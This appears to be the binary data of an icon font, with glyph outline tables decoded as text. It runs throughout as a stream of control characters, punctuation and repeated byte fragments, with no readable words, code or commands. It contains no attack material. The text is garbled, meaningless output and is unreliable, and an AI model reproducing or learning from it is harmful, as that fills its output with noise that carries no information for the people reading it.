+2"&546&'5#.'5>7354>32#/&4?6-  L\  \V$ \5  BYUUU		      5  # >@;
L   ~ W_ O#"%%+62++.5#".72#!"&463	UU	?  !$>-  -   (  % C@@L    W  _  O  %$ 
+2#!"&4633232"/&>;4673  U		U-  -5 $      (  & ? S@P*	 L     	W	_ O:832-+('"&%$&
+%##.'5#".?>%2#!"&463232"/&>;546?UU  U		U[  [-  - \V#   *  $ > T@Q4- L    ~ 	W	_ O7510,+ $#%#
+%232"/&>;546?%2#!"&463##.'5#".?>U		U  YU \V#-  -\  \	     jR  ! * 9 B O \ q@n-L     
 ~	~ ~ W_OZYTSMLGFA?><9876'!#'!73+4>3!2#!".5%35327>4&'&++5323'67654&+3537+5322>4."".4>2&@&&A%&@&f&@&Au+ !  +-#mm#-}Kn-!L>APm.#ll$-7c~d77d~c7p&DZE%%EZD&&@&&@&0&@&&@&>K>"++#8=KG"++xAh;;hh;;hA0M,,M`M,,M        # 8 F T X@U 	g 
i   W  _  OGG:9%$ GTGT9F:F/.$8%8#"	 +%!".54>3!2"3!2654&#"'%.>27%6"'&6?6!"/.>0000$$$$t#	V.V
Q

00060q%6%%%   jR      @C0/	P

L			~    i 		i  
i
 
g  iW_O    |ysqb^ZX<;86%+27676322"6?67>?6'&'?676'&#"3%264&#01!>?>?6'.'4&+"&/&6;26/&547676#54."#"3!26=4&%4>2#!5!26=>54&"((X#
	.o&3(S0)
	(3Q-	P;	(
		!'Q'CND'		M	0:/#
"	5	i		S
SO%*H
(/@
S+Q:(C^5	;\+Q	R+
S		B'(C''C(		00w		       m  " ? ^ @>
 LJIK
PX@(     g W W aQKPX@$     gWaQ@(     g W W aQYY@]ZRPHF971/'$! +276/764'&64/&27&#!";?327>=6'+764.+"'.=4763!2S

GGcSCC

&&&!6
&8mG	n			TBC	t	S	
CB

!h
#S6	      m    6 F J X r x@uY2#rgP1$	k	L-	K 

 	
	~  

g 	  	g  Y  a Q
	 MKJIHGDA<965	
 +%"264&3"264&264&"?'&7>'4."%4&#!"3!265'!!#"?6&'%676/&"376'.	I	T	66		T
			H	*
,2	T\2y	*	
	)	M

_		w`S
y	*.	     ,    2@/  g g   W  _   O&7+3!2654'&#!&!!!:4#&2 5#&12%%[      (    .@+   gW_ O72+4&#!"3!265!)!1&"1"&1A=&11&1"~~     j^\    ,@) J    W _O+'7676%#5"&463!2#C.#* O5C,P F5   9  J 9@6  ~     g Y a Q6;:3:7+3!2>54&'.#!"'463!2276=4'&'.#!";27654'&+"&5 	.	
#
*	'(!	(%%
3$.
x

%%)+	   i%S  , 2@/ L      v%",,#%5 +#"3!26=4&+'.#!"!2#!".546Կ				";"./$	4	3	4			";"$/_	   9  # & *@'&%$L    i Y a Q&!+&#"3276'"&'.467>27FEcʈ?>}?>?B?B?NJpFHmA[|@B@B?A?C!!}      X   2+7;;X::     X  2+'7';;;;     s   A ^ j pzK
PX@
E>QLKPX@
E>QL@
E>QLYYK
PX@Q 

     Y	 i   gia QKPX@F 

    	i   giaQ@Q 

     Y	 i   gia QYY@1kkCBkpkphgbaWUONIHB^C^;:650/('"!AA%;+.6?01301;>/7%22654."2>54&""&=&>%"54&"265132>=6."&=462$..		66&3>44>3&8'  #35('8''8''*e
	yy

\'		44\33

&&\.[



3\!5&&X''S%     (   # 3 F a@^    	 	g
   g g W ` P DA:72/*' ## +!264&#!"!264&#!"!264&#!"4&#!"3!267#!".54>3!2

		

		

	 +  "),+,,+9
''D'&111?-     % 1 U g s w@t&" L 

 
 ~  
 ~  g 		i 

gW_ OjhWV42pmhsjsdb]\VgWgROJGBA<92U4U+%&"2764/7>762"'&4?'.'676.!"&5463!22654&#!"3!264&"26=463264&3264&+"OO??	OO>>	@C	B
y
3(r%34(
 HJ35				STCC	STCC	M	
#y!"

Q);;));
HKK		84      =    + 7 C U a KPX@J     p h	i		g 

W 
a

Q@I      h	i		g 

W 
a

QY@EXVED:8.,"  ^[VaXaRPKJDUEU@=8C:C41,7.7(% +"+	 +"&5463!2#'!!264&#!"!264&#!"!264&#!"!264&#!""26=463264&3264&+"?

k		k		

G		

G		

G		
K26
"				s


`
*w}}}$72

#        % 1 f   @smdTN
>
G&" L 		 	~ 	~ 
	
~ 
	
~ 	~  	 ~ 	 ~  		gW` P¡rqbaCB:965+%&"2764/7>762"'&4?'.'676.%#227>76'467.7"&#.'.''>4676>762'.67.'&67&5463&76!"&5463!22654&#!"3!264&OO??	OO>>	@C	B
				
		%551O	+
/O%B* >


	  8;DKF
(!y
3(r%34(
STCC	STCC	M	

		F125			%%j	#*1
	
F@>%(,	#,
#y!"

Q);;));
    =    + 7 C x@ XN[sq	k	bLUhKK	PX@S   r 

  g  g g 	Y 		g g a QK
PX@Y   r  ~

  g  g g 	Y 		g g a QKPX@S   r 

  g  g g 	Y 		g g a Q@T    

  g  g g 	Y 		g g a QYYY@;:8.,"  jifea_HG@=8C:C41,7.7(% +"+	 +"&5463!2#'!!264&#!"!264&#!"!264&#!"!264&#!"&7676267267'67"&'67"'&'&57.'&7?

k		k		

		6

		6

		6
Q %+/)		*'+3:;4#



s


`
*w}}}#
,^"#
      > I@F1L     ~   i   Y   a  Q+%7>'&>'"/&4?62&&'&>765462"&5J>- !5*UgJ>- !5*Vf
3$uL6te"Ei93$uL6te"Eh    A  + <@9      	 v  +*%$  
+"&5#"&4?62#46232"/&463"hh"i
XYY	      jN  - A R@O5L     ~  ~   i Y aQ ?>8732"!--
 	+"276764'&'&"'.'&47>762'&46262"&'{jg<>><gjjg<>=<fj}d\Y&''&Y\\Y&''%X]J
$>=gkjf<=><gjkh=?F'&Y\\Z'('&Y\\Z&( J      jR    + 7 C   @DPL  g  g   g  g	g		g 
i W _ O98-,!  |yvqnhe`]ZWLI?<8C9B30,7-6'$ +!*
 +!2#!"&546!462"&57"&46;2#"&46;2#"&46;2#454>3!2+"&46;2654&#!"&/.+";2+".54676;23!254&#!"KRN[		V		V		V		V		V		111x		x&&"7"x&&x		x0@x!7"	&>"Q*M_		zGH
00.2((( ' (2 -$( 
m%    jR  $ f {  @}%
t1	  L  g  

g  		g   ig    i Y b Rzwspkh`]ZWROIF3;8+%5462762"/&462'2>4."454>3!2+"&46;2654&#!"&/.+";2+".54676;23!254&#!"4>2".?>x-MZM--MZM-111x		x&&"7"x&&x		x0@x!7"	&>"8_r_88_r_8??-L--LZM--M00.2((( ' (2 -$( 
m%*9`88`r_88_   A  $ ,@)      v $#3%% +#"32764&+4&+""&463!2#wz
$""        $ 9 F@C L    ~   ~  i Y a Q)$%(+&'"&5473264'&#"26546326 '&'&4767632}NuuNExv		@[>,
HvxI

Ixzx{F
[y<5>``>5<yi|{.		[@	,>wGFv%vFGHJr       A  @     v5$+32764&#!"
       A  @    v5+74762#!"&!

    (      P K	PXKI LK
PXKILKI LYYK	PX@5	
	g 
 
g   g  Y  _ OK
PX@8  r	
	g 
 
g  g  W  ` P@5	
	g 
 
g   g  Y  _ OYY@#þ}jhc`ZYFC;:31,)$"+1001'001%03#50#3001!7&'.747##!"&=47#3&'.75463!22#!"&4676367676'4'&'&'&/.763!23!2=4'&'&'&'4#'.763!22#!"&4>367676'54#!"^<?A?AuG
					

	%
F
	$


			
Cf$$6666g

L
	
"	""	!f
	
 
  >  ) B M V     @@]}u08LK	PX@Z r    i g	i  g Y
i g Y a QK
PX@`	r r    i 	g		i  g Y
i g Y a QKPX@Z r    i g	i  g Y
i g Y a Q@[     i g	i  g Y
i g Y a QYYY@?+*ywonkjfd`_[YVURQLKFE<:42*B+B+4'&'&"276767 '&'&7676 312;2+"&=464&"26&462"74632#"'.#"2767#"&50154632"'&%4&"326&462"%"&463!2#"&463!2#<:ceec:<<9cffc9<*A@lppl@AA@lppl@A	<.*j/F.0B1 )
%
)@@1+j/F./E



^



^wfc9<<9cffc9<<9cfwpl@AA@lppl@AA@lp7c
L#E,-D.P"-


#,!E,,E.



	

	        ( 1 : C L @
LK	PX@A r~ ~
~ ~	~    W   _  O@B ~ ~
~ ~	~    W   _  OY@ED32! IHDLEL762:3:%$ (!(6+.7632%	'.>'264&"7.>'264&"7.>5264&"
		%
B	J1C @@@"~ @@?"} ?@@"D(	
 
)@@@@1""w?@?@1""w@??@0"" 
  jkR   ' - ? K W c o { @=(5L g  	g 		g 

g   g g g g W _ OqpedYXMLA@/.wtp{qzkhdoen_\XcYbSPLWMVGD@KAJ9742.?/?+)"+#.7>&/63!2#!"&54?3265%!+3!2654&"&46;2#"&46;2#"&46;2#"&463!2#"&463!2#xhh(--2
$$%	t%	q												K				6				F$		o~~$%$		%zl}}}   	  jkR   ) 2 ; D P \ h @'L   g  g g g g	
i W _ O^]RQFEca]h^gXUQ\R[LIEPFOCB?>:96510-,#!))'51+63!2#!"&54?3265%!+3!2654&"&462"&462"&462%"&463!2#%"&463!2#"&463!2#|
$$%	t%	q-""}""}""				6		M				wK$%$		%zl"""}        m  ( @ J O Y KPX@:	
r  r

g  hW_OKPX@;	
r  

g  hW_O@<	

  

g  hW_OYY@+PPLKPYPXSQNMKOLOJHCA=<540.+)"('# +#"&46;'&462"&47!2#!"&546332+"/&4?627!"3!3#!2654&#		??%%%%

??t		**		I:CA&`&&&C:
`
*6

   (  = U xK
PX@=/iL'
IKPX@=/iL'I@=/iL'
IYYK
PX@2    gi i	 
g	
a 

QKPX@1    gi i	Y	a
Q@2    gi i	 
g	
a 

QYY@&VV>>  VxVwmkge][>U>TQOKJCB:7  +6767#&/&%6;2&'546767676'&6726;24.#'.46?2!"&463#"32#"'&'&547>3,X!@<,9XOX;8E
0
	xK:.		

5U6		1# i?))W3)K,9D!	nHB8P!A!K%

 8!(%&3E,5
2-7N=0/4     jR  - I N w      =@VS
kK;LKPX@q	  	p 

 r r   	 i
ji ig Y b RKPX@r	  	p 

 r    	 i
ji ig Y b RKPX@s	  	 ~ 

 r    	 i
ji ig Y b R@t	  	 ~ 

     	 i
ji ig Y b RYYY@AyxPOJJ~xyrpiha_ZYUTOwPwJNJN<+4'&'&"276767"'.'&47>762& '.;26=676&5"&"."3267>546232>4.".4>2!".4>2'4&"267"&4624&"267"&462?<hkkh<??<hkkh<?*'&Y]]Y&''&Y]]Y&'BB,O	}	I',/O00O_Q//Q04X		V50Q//QD%>%%>J?$$?g%>%%>J>%%>*%4$$4%J*%4$%3%^|kh<??<hkkh<??<hk|f]Y&''&Y]]Y&''&Y]rr	M!S		?6
*p-M..M-0Q`Q/9/.:/Q`Q0%>J?%%?J>%%>J?%%?J>%	$$4%%	$$4%% 	  jR  - A j w     @IF^
L    

     i g  j  i	i	 	i Y b RyxlkCB~xyrqkwlwec\[TRMLHGBjCj+4'&'&"276767"'.'&47>76227676. '."&"."3267>546232>4.".4>2!".4>2%4&"267"&4623264&+"?<hkkh<??<hkkh<?*'&Y]]Y&''&Y]]Y&' 'ECCE'BB/O00O_Q//Q04X		V50Q//QD%>%%>J?$$?g%>%%>J>%%>f*%4$%3%}		}	^|kh<??<hkkh<??<hk|f]Y&''&Y]]Y&''&Y]E"!!"Err-M..M-0Q`Q/9/.:/Q`Q0%>J?%%?J>%%>J?%%?J>%	$$4%%"     L $ @ ] u @1 	Li IK
PX@8 	 q g
gi		Y	a		Q@7 	  g
gi		Y	a		QY@-_^&% olfd^u_tYWPMFD=;54.+%@&?"  $$+7".?#".=4>3!2+"+";276;&=4>;.#"/#".=4>3!2+";2'&6;26=4&# 66 6	"1		e#11#!		U6s.n 56 66 
k"11"
!#11#
q5  56
0#71""1	Uf6&6 65  6q0##1gV2""1        ) A uKPX@- r~   p  i   Y   b  R@/ ~   ~  i   Y   b  RY@'+276764'&'&"476762"'&'&%#"2?64/&+4&"--KMMK----KMMK--T97_aa_7997_aa_79whh ^[MK----KMMK----KM[qa_7997_aa_7997_a%      jR  $ d z (@%
s1	 LKPX@J r   r  g  

g  		g  i g Y b RK PX@K r     g  

g  		g  i g Y b R@L      g  

g  		g  i g Y b RYY@~yvroie^[XUPMHE3:8+%26=264/&"272>4."014>3!2+"&46;2654&#!"&/.+";2+".54672;23!254&#!"4>2".>>u-MZM--MZM-/0*2y

y&'!7"u&&y

y2A

y"6 	&<7_t_77_t_7q

>>-L--LZM--M//#51'*&!' '
2 /%' l%(:_88_t_77`      k  " 1 H@E/L   	 g  g W _ O,)&%$#"":5@
+"#!"3!2654.;26=301!5!33!26=5"11"H"12X
S
***1""11"5[:M

H*1        ) ? uKPX@-   r ~ p    i Y b R@/    ~  ~    i Y b RY@%+4'&'&"276767"'&'&4767623264/&";265A--KMMK----KMMK--T97_aa_7997_aa_79hh ^[MK----KMMK----KM[qa_7997_aa_7997_a     k    7@4  Y a  Q
	 	
 	+"&462!"&462!"&462"11D21"11E00#11F001D11D11E00E11D10E1    G    ,@)    i  i Y a Q+462"&462"&462"&1E01D11E00E11D10E1#00F11#00E11#11E11          *@'     W _O    $+"'&476%2#&2
2'%%02&2'1%2&       *@'     W _O    $+2764'&"%"3&22&v%%02&2&1%2&    /+  $@! L       v+"&6762"/"&51%1&2&2%L%71&r%%      +(  xK
PX LKPX  L LYYK
PX@       vKPX@     v@       vYY+%'&"2764&"4&"1&1&2&2%q&22&%%   >   @ L    v 
 +"'&'&7676 'ol?AA?look?AA?lo|A?look?AA?lopl?A   i( 	  ' 7 ; K O _ c o {            #/8AJ  !3!26554&#!"#!".54>3!2"&=46;2#'35#"&=46;2#'35#"&=46;2#'35#"&46;2#"&46;2#"&46;2#"&46;2#"&46;2#"&46;2#"&=46;2#'35#"&=46;2#'35#"&=46;2#'35#"&46;2#"&46;2#"&46;2#"&46;2#"&46;2#"&46;2#"&462"&462"&462l%$$$0000		S		>))		S		>))		S		>))		}}		}}		}}		}}		}}		}}		S		?**		S		?**		S		?**}		}	}		}	}		}}		}}		}}		'STXz%%>%%>P0000	S		S	)*TT**	S		S	*)S}T}S	S		S	)*TT**	S		S	*)S}T}S		     i( 	  ' 0 9 B R V b n ~    T:1(LKPX@j!r  g	
i$   g  g+#! "!"g)&g*('%g W _ O@k!!  g	
i$   g  g+#! "!"g)&g*('%g W _ OY@hpodcXWDC

xuo~p}igcndm][WbXaVUTSLICRDQA@=<8743/.+*$!

63,+!3!26554&#!"#!".54>3!2!"&462"&462"&462"&=46;2#'35#3"&46;2#"&46;2#3"&=46;2#'35#3"&46;2#"&46;2#5#"&=46;2"&=#32+"&463l%$$$0000ST		S		>))		}}		}}		S		?**}		}}		S		S*}		Xz%%>%%>P0000			S		S	*)S	S		S	*)S$		+		+		 	      + 7 C ^ g p @ZOL     g  i  i ig		W	_
		O98,,!   onkjfebaRQGF?<8C9B,7,620'$ +!*  6+7"&5463!2#%!!"&463!2#3"&463!2#"&463!2#3"&463!2#"&4?>76&''4&"267"&462h		N}		M		N}		M		|$"*2F11F2		*e}X	W&$44H33 	  jkR   ) 2 ; D M V _ o@l'L   g  	g	
	ii W _ O^]ZYUTQPLKHGCB?>:96510-,#!))'51+63!2#!"&54?3265%!+3!2654&4&"267"&4624&"267"&4624&"267"&462|
$$%	t%	q-*%4$$4%}*%4$$4%})$4%%4$K$%$		%zl<		$$4%%		$$4%%		$$4%%     jkR ' 9 ? Q @O:
 GLKPX@<  r 
g 
 
g   g g 		W 	_ 		O@=   
g 
 
g   g g 		W 	_ 		OY@ A@  KIFD@QAQ=;41,) ' &4%+%41#"&=463!2"&=#32+"&46363!2#!"&54?3265%!+3!2654&}N}*}		:
$$%	t%	qd#!		66		!$%$		%zl     j( 	  ' 0 9 B \ e n     `@:1(ZwHPLKPX@o  r  g	
i"  ! g !% ! g#i  g Yi $g W _ O@p   g	
i"  ! g !% ! g#i  g Yi $g W _ OY@TDC

úô~zysqnmjidc`_VRLJC\D\A@=<8743/.+*$!

63&+!3!26554&#!"#!".54>3!2%"&462"&462"&46232;2#01#"&=464&"26&462"74632#"'.#"2767#"&=>32"&%4&"26&462"!"&463!2!"&463!2l$$$$00//STqA--s2L33J4%
(-EI1L--t4I44J<				<			X~&&:'':T2211		ig
Q0#H//H/S$/	
2

-%0$I./H/T$      j( 	  ' 0 9 B Y f z@w:1(LL   g	
i   g  i  i W _ O

dc^]YWRQHGA@=<8743/.+*$!

63+!3!26554&#!"#!".54>3!2%"&462"&462"&462"&4?&54>2#74."2>l$$$$00//ST'CNC('C(/080/90X~&&:'':T2211		%3'C''CND'009/0  	  j( 	  ' 0 9 B Y f rK
PX@:1(OWLKPX@:1(OWL@:1(OWLYYK
PX@V rrr  g	
i   g  g i W _ OKPX@Prr  g	
i   g g i W _ OKPX@V rrr  g	
i   g  g i W _ O@W rr  g	
i   g  g i W _ OYYY@8ig[ZDC

nlgrira`Zf[fSQLKHGCYDYA@=<8743/.+*$!

63+!3!26554&#!"#!".54>3!2%"&462"&462"&462"&=!"&=463!2"&5462#"&46;2l$$$$00//STw	N	6}		}X~&&:'':T2211			!!		66	3			      (  + 7@4~  i   Y  _   O###"53+#!"&5463!2#";26=3264&+54&"fDHcfE?Gc&&~HcfE?Gcf&&      (   $@!      v53+#!"&5463!2!264&#!"fDHcfE?GcYB~HcfE?Gcfn&&    0 C 5@2CL       W   _  OA@;:32)'+6&'.!654&'.7>'!.7467>6201"/&462d2
!
&gM
DA=D`S%&
!}hpYRnN	
 	
	K`%
E2&ma!J<G@	@O.A	"	DztymTum	

	    gR   + 7 H T ` l x      y@! LKIKPX@{  r   p ~
!	  g  i  i  i  i  i$#"W$#"`P@}     ~ ~
!	  g  i  i  i  i  i$#"W$#"`PY@Pzynmba98-,}yztqmxnwhealbk^]XWRQLKED?<8H9H30,7-6#5#6#5%+"&=46;2+7"&46;2+7"&46;2+7"&46;2#3"&46;2"&=462"&5462"&52+"&463#2+"&463#2+"&=462'"&=462'"&=462'"&=462.54>+&/767'&>;.
1

y

\

\

]

]

\

u

0
		]

]

\

m

0
!$bF#MJ@)	Q8RA

0

0

z

\

e

1		
0

z

\

\

\

\

]

]rm@#!E51
*W     t>   , '@$!  L     W   _  O7+!%%62#!"&5461&'&'&7676`:L$*)$M8/ؙuO!$!:op9!$!P        .    # , 5 ^@[	
i  Y a  Q.-%$
	 21-5.5)($,%, ##	
 +7"&462!"&462!"&462%"&462!"&462!"&462#11F00&"11E00*"11E11G#11F00&"11E00*"11E111D10E11E00E11E01D11D10E11E00E11E01D1          : ]@Z#L 	 	i g   g
  Y
  a Q
	 8631+(!	
 +%2"&46!2"&463!2754&#%!2#!"&'&'&#"&4632%%4&&%%4&&>|	V !-		D)":$4%%4$$4%%4$>	* 	O4-(:0    vf B ^ b    @fL    g  

i g  		gYaQdcCC|zwvnkcdba`_C^C]ZXUTQOLJGF+%.767>/&/&'&'&?2676&'&'&7>76%546232+"&=#"&46337#72+"&/0#&'&"&4632"&4623"&462
(#9IYWPSj	#$I1u<	
 D8R)'
	w]ZbeS@'"-}		}}		j~-35	!C]
CI;*5	#$ZWPS5$	$(<]Zbd((

</B	QM}		}}		}6)


      v( 3 7 R [ d p |  @;L  gg  

i  g  i  		gYaQrqfe]\TS98 wuq|r{kiepfoa`\d]dXWS[T[OMJIC@8R9R7654-*!  32+%2#!"&54>3!2#".6736?>54&#!"337#72+"&/&'&"&4632"&4623"&462"&46;2#!"&46;2#%.>.6?		z);.*:
			"
"" ~.36		!	D\		M		h
RT
=d2$C'1$)D})

C<A0     v(  ' + ; ? O S c      @  aM9YE1	L   g   g'%#&$"i
		g  i) g(i  g!Y!a+ *QedUTPPA@<<-,((ȼtqkhde][TcUcPSPSRQIG@OAO<?<?>=53,;-;(+(+55,+462"&5'"&=463!2"&=4&#!"35'32+"&=4635'32+"&=4635'32+"&=462#!"&54>3!2#".6736?>54&#!"337#72+"&/&'&"&4632"&4623"&462%%	`	S}}}		z);.*:
			"
"" ~.36		!	D\d*$$**		?))*dd*))*dd*))*dd2$C'1$)D})

 	  v(   # / c g    @kL 
 
g   g g g g  i g		i  gYaQih10%$ }zysphigfed]ZQPLK@=740c1b+($/%.#" 
 +"&463!2#"&463!2#%"&463!2#"&463!2#2#!"&54>3!2#".6736?>54&#!"337#72+"&/&'&"&4632"&4623"&462		r		r								g		z);.*:
			"
"" ~.36		!	D\S2$C'1$)D})

   R   ( 1 5 E I Y ] m q    @L! g  i   g    g	
i 
 
g)'%#(&$"gW_Osrnn_^ZZKJFF7622*)! |yrsnqnqpohe^m_mZ]Z]\[TQJYKYFIFIHG@=6E7E252543.-)1*1%$ (!(#9*+37#72+"&/&'&"&46323"&4623"&462!%!2#!"&54635'32+"&=4635'32+"&=4635'32+"&=4635'32+"&=46-36	 
\kk	}	}	}	}	*
	q*	f			SS*	}		}	*SS*	}		}	*SS*	}		}	*SS*	}		}	   	  v( 3 7 R [ d    @{tme;LK	PX@p r p  g  i  i  ij  

i  g  i  		gYaQKPX@q  p  g  i  i  ij  

i  g  i  		gYaQ@r  ~  g  i  i  ij  

i  g  i  		gYaQYY@O]\TS98 xwkia`\d]dXWS[T[OMJIC@8R9R7654-*!  32 +%2#!"&54>3!2#".6736?>54&#!"337#72+"&/&'&"&4632"&4623"&462#"&54?6?64&#?6763232?#"&462".4>2'2>4."		z);.*:
			"
"" ~.36		!	D\?9_88_r`88`9-M--MZL--Ld2$C'1$)D})

('
	&8_r_88_r_8)-MZM--MZM-   v(    # , 5 i m    @qL  g  i	
i  i gi  gYaQon76yvnomlkjc`WVRQFC=:6i7h430/+* +4&"267"&4624&"267"&4624&"267"&4622#!"&54>3!2#".6736?>54&#!"337#72+"&/&'&"&4632"&4623"&462*%4$$4%}*%4$$4%})$4%%4$r		z);.*:
			"
"" ~.36		!	D\^		$$4%%		$$4%%		$$4%%2$C'1$)D})

     v Q U q z  f@6YLKPX@ 
r 		~  

g  g  g! g  i g i   i  g  gYa Q@ 

 		~  

g  g  g! g  i g i   i  g  gYa QY@F|{srWV{|wvrzsznlhga^VqWqUTSRNLIGFDA?><875410$'# "+%#"&=#"&54?63!23232"&5#"&5#"&5#!2#!!2#!!2#!"&537#72+"&/&'&#"&4632"&4623"&462573+57	-	-0	^4		%		-26!
C\3	%	-		-	O		d		I		q	)

	    v( , 9 m q       \@#&uLK	PX@ r ## && &&~*  r 	 	g  j$"#i2!(1i'/% 0 i )  i  i, g+
i  gYa.-QK
PX@ r ## && &&~*  r 	 	g $$Y  j"#i2!(1i'/% 0 i )  i  i, g+
i  gYa.-QKPX@ r ## && &&~*  r 	 	g  j$"#i2!(1i'/% 0 i )  i  i, g+
i  gYa.-QKPX@  ## && &&~*  r 	 	g  j$"#i2!(1i'/% 0 i )  i  i, g+
i  gYa.-Q@  ## && &&~*   	 	g  j$"#i2!(1i'/% 0 i )  i  i, g+
i  gYa.-QYYYYA}             s r ; : . -                                                          } z r  s  q p o n g d [ Z V U J G A > : m ; l 4 3 - 9 . 9 " !    
     ,  , 3  +"&'&>264&'#.54>32&'.""&54622#!"&54>3!2#".6736?>54&#!"337#72+"&/&'&"&4632"&4623"&46226=4&""&=462'";26=4&#54>32#"6;2+"&5'264&""&5462"&5462264&+"&463+<%3&!420+=%3& e1			z);.*:
			"
"" ~.36		!	D\)):)(!W/$!  ! e*9))9*		@-!		!
) &-!	!@&)	M			2$C'1$)D})

kk*,k++k,k$		$62&"$!!_
		!,>=,!
     v( 3 7 R [ d }      %2#!"&54>3!2#".6736?>54&#!"337#72+"&/&'&"&4632"&4623"&462#762'46?#./>3"/&/57'&47>;#762'46?#./>3"/&/57'&47>;#762'46?#./>3"/&/57'&47>;		z);.*:
			"
"" ~.36		!	D\
.	$
	-,

#.
.	$
	-,

#.&
.	$
	-,

#.d2$C'1$)D})

07
!6
6!	07
!6
6!	17
!6
6!	    jR 	  ' 0 9 B a k t }          	@¹%L  gi.g#!" i/g	
 i   ) g ) (&)(i0& %&%g  g  'i $ '+$'g-+2,1*+*i W _ OϦbb|{xwsronbkbkhea_\YVSLIA@=<8776333+!54&#!"!3!2653#!".54>3!2!"&462"&462"&4627&=4>3!2+"&46;265!"%54&#!"7"&462"&462"&462&=4>3!2+"&46;265!"%54&#!"7"&462"&462"&46237#72+"&/01&'&"&4632"&4623"&462*q%%q%%)0000ST000S		S${	$%TSS<0//)		)%z%$SSTi~.36	!	D\^?$$i%$0000				S0061%b)?$$??					S0/6/%b*>%%>>		ݓ*

	   v    . O _ c g    @k
?	
Lc> J   g  i 
	
g 	 	gYaQihPP0/!}zysphigfeda`P_P^:965/O0O.!.+7>'%.546;+'!!"&?>3%6%2"&=!"&/76&546"&'&62#%!'%37#72+"&/&'&"&4632"&4623"&462G
		#->)L	WL	 #	
GLW
L
*?-36		!	D\`
KO	Az!*
%
*		y
"
*
%
*!\)

   v   ' 0 g   @h
<6OL 
g 
 
g  i g   g    g	Y	aQ)( |ymkebZWTQGEA>9831-,(0)0$#' '+37#72+"&/&'&"&4632"&4623"&462!2"&54&#!"&/&+"3!2#!"&54?>;2'.+".?>;2.67.?>;2&/.+"~.36		!	D\$		%(	+		%( "

,! ,-
)

$H
	]m,$nYI+	*T!	+~	   v( ' [ _ z  cLKPX@\  r 
 
g   g g  i g		i  gYaQ@]   
 
g   g g  i g		i  gYaQY@@|{a`)(  {|wurqkh`zaz_^]\URIHDC85/,([)Z ' &45+41#"&=463!2"&=#32+"&4632#!"&54>3!2#".6736?>54&#!"337#72+"&/&'&"&4632"&4623"&462}	M	}*}		I		z);.*:
			"
"" ~.36		!	D\4#!		6		6		!2$C'1$)D})

    
  v-   ' 0 W m { ~  @}bmLK%PX@ 
r   r ~ ~      

i  jg  i  i g    g	Y	aQ@ 

    ~ ~      

i  jg  i  i g    g	Y	aQY@I||nn)( |~|~n{nzutkjed`_ZYPO=<-,(0)0$#' '+37#72+"&/&'&"&4632"&4623"&462.67>54."'.546762762"/"&4?622"/&4635&>2654/&'"2'&/&5462"."2""&7462"&5-36		!	D\z
2:AppAPCN^LABC@&'CuuJ	1_%/3F2%
/3F3@)

#m?CsCCsCL|#WO'(('ADOIwxI	*aa#		**&	
	*)&		      R    ' + ; ? O S n w          
  !%!2#!"&546!%!2#!"&546!%!2#!"&546!%!2#!"&546737#72+"&/&'&#"&4632"&4623"&462%37#72+"&/&'&#"&4632"&4623"&46237#72+"&/&'&#"&4632"&4623"&462%37#72+"&/&'&#"&4632"&4623"&462wt_	*wt_	wt_	*wt_	Y!&
f
)0	D	Y!&
f
)0	D	Y!&
f
)0	D	Y!&
f
)0	D	(w*	`			*w*	`			w*	_	*w*	_	o&

		ao&

		mo&

		ao&

		     A'   ? M@J		    i
	g W _ O  =<98541/*'"   5#+5>232#!"&546;5."#"3!2654&+"&=#"&5MUTS#00#"11"}=z=*SS.TQTTRS0#"11"#0R@==?|y		yy		   A1   ? M@J		    i
	g W _ O  =<98541/*'"   5#+5>232#!"&546;5."#"3!2654&+"&=#"&5C[[I#00#"11"6r7>I				I.UTZ[US0#"11"#0R<77;				ddd   A'   2@/    Y   a  Q    5#+5>232#!"&546;5."MUTS#00#"11"}=z=.TQTTRS0#"11"#0R@==?     " , 6 B N Z Y@V   g	 
 i 
 
i W _ O--## @?:9-6-620#,#,)&	 "!+0137>3!232+#!"&'#"&4633!267/.#!"462"&5.?>&/&>}D#$D		,>
7#	#8
>,		W<"!<?@

#*+${*u*
									     " , 5 A M Y `@] 

 ~   g	 
 i W _ O--## ?>98-5-51/#,#,)&	 "!+2137>3!232+#!"&'#"&4633!267/&#!"462"&5.?>&/&>hgG+#,F#=
>&	'>
<$c:;?	@%/0's>i>     ) 5 A M A@>  g 	 Y
 		i Y _ O  43.- ) )&3##3# +#"&46;7>3!232+#!"&''.#!"26=4&"76.6%'.>A		D#$D		B<-
-(?@


""
						
    (  + 2 ? L U _@\  g 		g  g  
g
 
i  Y  a Q,,TSPOJIDC=<76,2,2%##33%"+264&"!2#!3!2#!"&'#"&46;2!26?4>2".%4>2".7264&"%4$$4%	 ;(:%		4Q
el		};7#08009/_080/90*$4%%3%%%4$$	'5)%/B3	 z0080/009/0%%4$$    3  , 3 @ M V _@\  g 		g  g  
g
 
i  Y  a Q--UTQPKJED>=87-3-3$3$33%"+264&"!2#!3!2#!".'#"&46;2!26?4>2".%4>2".7264&",* B+4"%A,dc} 6/5>54>5_5>55>5?,,,+9!*!9$44>5544>55,     ( " / < R@O    ~   g  g
Y
a	Q10$#760<1<*)#/$/##33% +!2#!3!2#!"&'#"&46;22".4>!2".4>	 ;'9%		4Q
el		}]0080/|009/0	'5)$0B3	L08009/080/90    (  + <@9      	 v  +*%$  
+"&5#"&4?62#46232"/&463"hh"i
XYY	          F W k e@b)hbL 	 
 i i  i Y a QYXIG fd_^XkYkPOGWIV87#" +2"'&'.4676761".5467276767>54&'&'&'#2>54.'2".=326564'VXSQ&"&R;QSXWTP<RS;PTW:CssC<<""%'1HOQQOI!"L1' 8[57_t_75[8..6. +#"A%"=h2@"##"@2h2i1@##\HVDsCCsD.P 0 0	-.*< !! <!0	Y,>9^7:_88_:7^9l.6..,        ! mLKPX@" r   gW` P@#    gW` PY@ !  +232#!"&=46;&5463!!,	RM	,OF,z,S   (  # 2 C@@  ~ g   W  _  O 1.)(#"	 +!".54>3!2"3!2654&#4?62#!"&:t$=##=$$=##=P	

	Jl#=$$=##=$t$=#7t7	

	    (   " B@?    ~g   W   _  O  !  +!%!"3!2654&2?64&#!"a&#22##22n	

	J&]2##22##2	

	     -  # 4 "@# 4L     v,++%&27%>4&6"'%.>6"'%.>^]


8&e	
f&&e	
f&e#&&#	,$%&"    ? = G Q g f@cSGgQ5
	f0)(!L   ~ ~     i Y a Qdc	+76217621"/&'"&4?'"&4?.6?'&4?62764'1&"764'1&"6?627<}<)Ku'dg)yy.yy!'tOt

				
	.!!K YX .q<}<*Su'!yy-y})gd'uKu
	



		.!XX!K!!.   
      # , 5 K c z N@432
LK
PX@Q 

 ~   i   ii	i W _ OKPX@K 

